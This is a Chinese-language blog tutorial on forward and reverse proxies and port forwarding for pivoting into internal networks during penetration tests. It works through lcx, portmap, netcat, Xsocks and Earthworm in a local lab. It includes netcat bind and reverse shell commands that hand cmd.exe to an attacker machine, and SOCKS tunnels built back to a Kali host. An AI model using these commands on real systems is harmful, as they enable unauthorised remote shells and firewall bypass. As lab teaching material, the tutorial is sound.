Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

代理与端口转发

这一篇写的是关于端口转发的一些基础知识,同时也简略的写了常用工具的基本使用方法。争取通过这篇文章让自己对代理与端口转发有个基本印象。

正向代理与反向代理

正向代理

正向代理就像一个跳板,比如ABC三个IP,A能访问B,B能访问C,A不能访问C,那么,正向代理就是A去访问B,告诉B自己要访问C的什么内容,然后B去代替A来访问,接着把访问到的内容返回A,这样就相当于A访问到了C。

image-20200119114447868

image-20200119114459626

反向代理

反向代理是我们经常用到的一种代理方式,因为它可以有效的穿透防火墙,这也是很多网站保护集群的一种做法,他们将内网中的web(A)代理到外网的一台服务器(B)上,当用户访问这台服务器(B)时,他们以为自己访问的是原始的web(A)

image-20200119114653489

Windows lcx端口转发

这是一个window下使用的端口转发工具,常用命令如下:

  1. -listen 监听p1,接收由p2转发过来的数据
  2. -tran 端口转向功能,通过访问该端口可以直接与该主机或另一台主机的某一个端口进行通信
  3. -slave 端口转发功能,将目标A机上的端口A,转发到外网B机的端口B上

在实际渗透过程中,主要用到的还是1和3功能,下面我们就在本地实验环境实际使用一下。

内网机ip:192.168.226.137

边界机ip:192.168.226.139(内),192.168.226.143(外)

物理机是无法直接与内网机相连接的,但是物理机是可以与边界机相连的。内网机将流量通过端口转发到边界机,边界机监听本地端口后可以让物理机访问到内网机的流量,以远程连接(3389端口)为例:

  • 内网机 lcx.exe -slave 192.168.226.139 55 192.168.226.137 3389

    image-20200119120358477

  • 边界机 lcx.exe -listen 55 49999

    image-20200119120435753

  • 物理机

    image-20200119120652259

    image-20200119121019657

Linux下的portmap端口转发

portmap的使用方法与在Windows下使用lcx类似:

  1. 将目标的3389端口转发到本地的55端口

    ./portmap -m 1 -p1 3389 -h2 ip -p2 55

  2. 监听55端口并将数据转发到4999端口

    ./portmap -m 2 -p1 1234 -p2 4999

NC

正向连接

以本次的实验环境为例,在边界机上将cmd的流量代理到8888端口nc.exe -l -p 8888 -e cmd.exe

image-20200119123102436

在物理机上执行命令nc.exe -nvv 192.168.226.143 8888

image-20200119123212021

主动连接到了边界机的8888端口拿到了cmd.exe的执行权限。start http://www.baidu.com 物理机成功控制边界机弹出浏览器并打开指定网站

image-20200119123445891

反向连接

在边界机上执行命令nc.exe -e cmd.exe 192.168.1.103 8889,此时边界机的cmd.exe流量将转发到攻击机的8889端口。

image-20200119140557619

在物理(外网)机上执行命令nc.exe -l -p 8889,此时将监听本地的8889端口获取反弹的shell

image-20200119140527057

注意:内网机命令执行后等待时间短,应在结束前在物理机上执行监听命令

Xsocks

Xsocks在常用的windows与linux下都可以使用,而且能够设置ssocks服务的密码,这里以它的正向代理socks5代理功能来进行实验。

边界机ip: 192.168.70.145 端口1080

内网机ip: 172.17.18.6

物理机ip: 192.168.70.129(kali)

在边界机上执行命令xsocks.exe -l 1080开启流量转发

Windows

在windows下我们使用proxifier来进行流量代理,只需要在Proxy Servers中设置好边界机的ip地址及流量代理端口即可。

image-20200119142208308

Linux

在proxychains文件中修改代理设置,使用代理访问即可。

image-20200119142802786

image-20200119142819630

Earthworm

EW 是一套便携式的网络穿透工具,它具有 SOCKS v5服务架设和端口转发两大 核心功能,可以帮助我们在复杂的网络环境下完成网络穿透,它支持多平台,借 用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。

实验环境与上文Xscoks相同

Windows

边界机执行命令ew -s ssocksd -l 1080将流量反弹出去,在windows(外网攻击机)下使用proxifier连接。

image-20200119143248617

Linux

在kali(外网攻击机)下先执行命令./ew -s rcsocks -l 1080 -e 8888监听本机1080端口,同时修改proxychains文件的代理配置

image-20200119143612521

在边界机下执行命令./ew -s rssocks -d 192.168.70.129 -e 8888将本机流量发送到kali(攻击机)的8888端口

image-20200119143927325